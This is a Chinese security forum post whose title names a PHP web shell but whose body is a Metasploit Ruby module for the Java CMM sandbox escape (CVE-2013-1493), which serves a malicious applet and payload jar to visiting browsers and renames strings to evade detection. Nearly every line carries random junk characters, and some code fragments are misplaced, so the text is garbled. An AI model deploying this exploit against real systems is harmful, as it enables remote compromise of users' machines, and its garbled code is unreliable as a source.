找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2482|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##9 c7 J' _* n! Y

/ F8 }+ D! [- c  L; b* ?# This file is part of the Metasploit Framework and may be subject to
! A" U* g  `% V  [; o6 j' z, h# redistribution and commercial restrictions. Please see the Metasploit
  s8 x& i% y' v7 W' E' r# web site for more information on licensing and terms of use.
/ L3 e& [5 ]# }' X# http://metasploit.com/1 F5 V3 G. C, o( {/ v2 N4 y
##& P' l/ n% P4 q
require ‘msf/core’0 W. u9 V" N" f3 ?/ x6 Y9 h
require ‘rex’
6 O( @3 k3 ~, ^* z$ ?class Metasploit3 < Msf::Exploit::Remote
1 n' i. F$ }) s9 a1 bRank = NormalRanking+ N1 K% g/ n* i2 y' p) o" K( p8 V
include Msf::Exploit::Remote::HttpServer::HTML
5 n. l6 j! P4 K0 E6 B$ V" y3 q' winclude Msf::Exploit::EXE
% W# V" |1 X* Y, {include Msf::Exploit::Remote::BrowserAutopwn
4 u) b$ i; u$ c/ L% t1 e9 k. Uautopwn_info({ :javascript => false })
- c# B5 u1 o/ p: V$ I4 Hdef initialize( info = {} )2 B: c+ d8 m! |, L: A& y% O$ }
super( update_info( info,
7 V/ M6 h; C4 q9 I2 ~" A- N‘Name’ => ‘Java CMM Remote Code Execution’,- {( {: V% @3 T% L
‘Description’ => %q{5 F  d3 W6 n% w- j( a# T4 B
This module abuses the Color Management classes from a Java Applet to run& \" v3 g; j$ n2 }% m
arbitrary Java code outside of the sandbox as exploited in the wild in February  B8 v* ]8 B; h$ |$ g. V; ?! a! a
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
; t5 u- ]% W8 v( Oand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
5 y, ]% R' P$ M7 ~/ Q! Xsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
7 M2 O0 m5 t; @3 H0 R, Xwarning in order to run the malicious applet.% z8 x" n  L3 l/ _( w3 C) f! O
},9 ?2 ]1 d8 i4 V) T  M+ @
‘License’ => MSF_LICENSE,- z" e/ t$ Q& T% r
‘Author’ =>9 J" R' c- n9 d) E7 x
'Unknown', # Vulnerability discovery and Exploit6 n7 d; w0 V* i4 M! M
'juan vazquez' # Metasploit module (just ported the published exploit)
" K2 M/ |4 C, g; n7 ]" X],# [# V7 P: h* Y+ x# Q
‘References’ =>
9 _6 A( M( x. F  |; p7 W0 a[
- C, T3 h# z" o  X. b% k[ 'CVE', '2013-1493' ],
  [" H3 C& N& B& h% D. F[ 'OSVDB', '90737' ],
, N$ D- x3 a- a2 J  v( O2 U[ 'BID', '58238' ],
1 G2 O7 v& l% u. s( M[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
. X. |7 S! k9 K/ q  \# `+ D$ P6 w[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],5 a# y( t, w' g) u
[ 'URL', 'http://pastie.org/pastes/6581034' ]2 b  E% ?, d' d5 S6 l% z! e
],
2 W1 P% e& x4 I8 Z- q‘Platform’ => [ 'win', 'java' ],
( c4 A1 r- x* T1 |& P" F6 z, z‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },: d% U% w3 y# f" Z8 ^9 ~/ d1 ?
‘Targets’ =>' n  g' h+ t: {# f
[
' _; Q; P4 \9 a$ j[ 'Generic (Java Payload)',
! w. E4 A7 f, N+ q{
  U, _& d* k. m% H1 _'Platform' => 'java',
+ k# a' {- |& U3 F'Arch' => ARCH_JAVA
# F3 }* U, i9 ?4 O  T}9 P) k- o$ S- E0 k
],! b/ P' q' Z. l0 W' t( ?& R
[ 'Windows x86 (Native Payload)',
3 _/ L. ?1 `: T( f% Z- D{- g* b4 A# n. q
'Platform' => 'win',
# d- j3 d* {, o' X$ z  V" L'Arch' => ARCH_X86; [$ g% W: @3 ?9 }: y- u! O; s
}
9 N7 F: s6 e. J3 Z0 w8 W]5 E  A" d& j) M, A- C1 a2 L
],
* [  q% |4 Q' I" K4 l" C! ?3 A, y‘‘DisclosureDate’ => ‘Mar 01 2013′# C3 L/ L# o) g7 \4 z# ~* r
))
  \1 G# m2 D$ J4 e) {9 eend
: {# I+ I: k: V+ u$ t' U0 O' D5 fdef setup0 v5 O, H5 f" {' m
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)9 Z4 z/ T5 s& ?' E1 ]$ v8 ^* H
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }! G! Q8 v5 A, K
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
+ j* q3 ~- F% v7 {- |@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 ?1 X! l* I/ y& l8 Spath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)4 f7 E" V, J8 S$ `; u
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
0 d, F& n: [0 ]% A& Q5 z9 cpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
( ~2 g+ }! p' |( ]$ L9 w@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 H3 E) h: H- W/ K# ?' s. j- t- o2 S@init_class_name = rand_text_alpha(“Init”.length)5 R  M$ g' c7 q. @
@init_class.gsub!(“Init”, @init_class_name)
/ c' N. ^4 m# gsuper4 z6 ^2 M" I. g
end
8 y8 A' ~' c1 B4 t0 F# h& rdef on_request_uri(cli, request)2 x) z! H* y: Y& z1 o# I5 Z
print_status(“handling request for #{request.uri}”)3 p9 O' w) U, I# k2 c( N* H2 l' w
case request.uri1 |8 L2 D7 g" O4 O
when /\.jar$/i0 o0 c9 V6 {' B7 l4 c6 o/ N
jar = payload.encoded_jar0 h. w) w" u) D1 C
jar.add_file(“#{@init_class_name}.class”, @init_class)) S- s' H" p: W0 r+ T  `  _9 _2 E
jar.add_file(“Leak.class”, @leak_class)+ L+ w6 h0 T1 p; U" Q- w) j
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
# n# [9 M. ~  r1 y( \0 d0 [jar.add_file(“MyColorSpace.class”, @color_space_class)6 @9 q$ u' l) D4 ]& k: \
DefaultTarget’ => 1,
0 P4 G7 p$ j8 ]2 N4 L- nmetasploit_str = rand_text_alpha(“metasploit”.length)# O0 n, N6 a* l9 s% J
payload_str = rand_text_alpha(“payload”.length)
9 d+ m' n. g$ |8 O* mjar.entries.each { |entry|
- z4 n! R8 B/ y1 z7 b7 s0 Centry.name.gsub!(“metasploit”, metasploit_str)' |& e* e" W  |( E/ m. A$ R
entry.name.gsub!(“Payload”, payload_str)3 y8 F, A4 ]  b8 h, P
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
" g7 E9 t2 M% v" _entry.data = entry.data.gsub(“Payload”, payload_str)
6 @% L8 |8 R0 m, q2 u' L) A}
7 U- }0 @/ u7 bjar.build_manifest
# ^. J7 g: V3 e+ d/ csend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
0 ^+ F% Y8 G+ y, _when /\/$/5 a7 T8 X% ~' Q$ W; s  F! B
payload = regenerate_payload(cli)
0 J# q) s. e/ ?if not payload
* k, {+ C) T- l' X' c; g/ Y& ^- Uprint_error(“Failed to generate the payload.”)2 o% c9 b9 q& H* x2 L
send_not_found(cli)5 c. \) |7 Q% i3 T5 h
return
( S/ S6 B7 M# C9 l, i' vend2 g' p, p- U3 o  @
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
9 e/ m/ p7 |% p" ^, ^else5 M0 ?. c4 `' j7 Y) h# R( Q& B
send_redirect(cli, get_resource() + ‘/’, ”)# t. G- d6 v. o
end$ ]9 t, ~! Q* r1 P/ ^
end( C% M- y, e% {( G1 a0 o
def generate_html
( A" n! i1 f" E7 [" C, phtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
3 D, s8 t4 {3 N" h' r3 I$ nhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|$ q' u) Y& Z, N. c& |& A$ o
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|, Q$ n7 w9 A4 L' Z1 F+ y, y
html += %Q|</applet></body></html>|( ^5 i  p# u( A, f
return html
0 y. u1 A6 ?, J4 Tend
7 s  w; w  l/ z& N0 @% pend' l1 V  P1 c% G! }5 N
end
( M. ?& V& G. M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表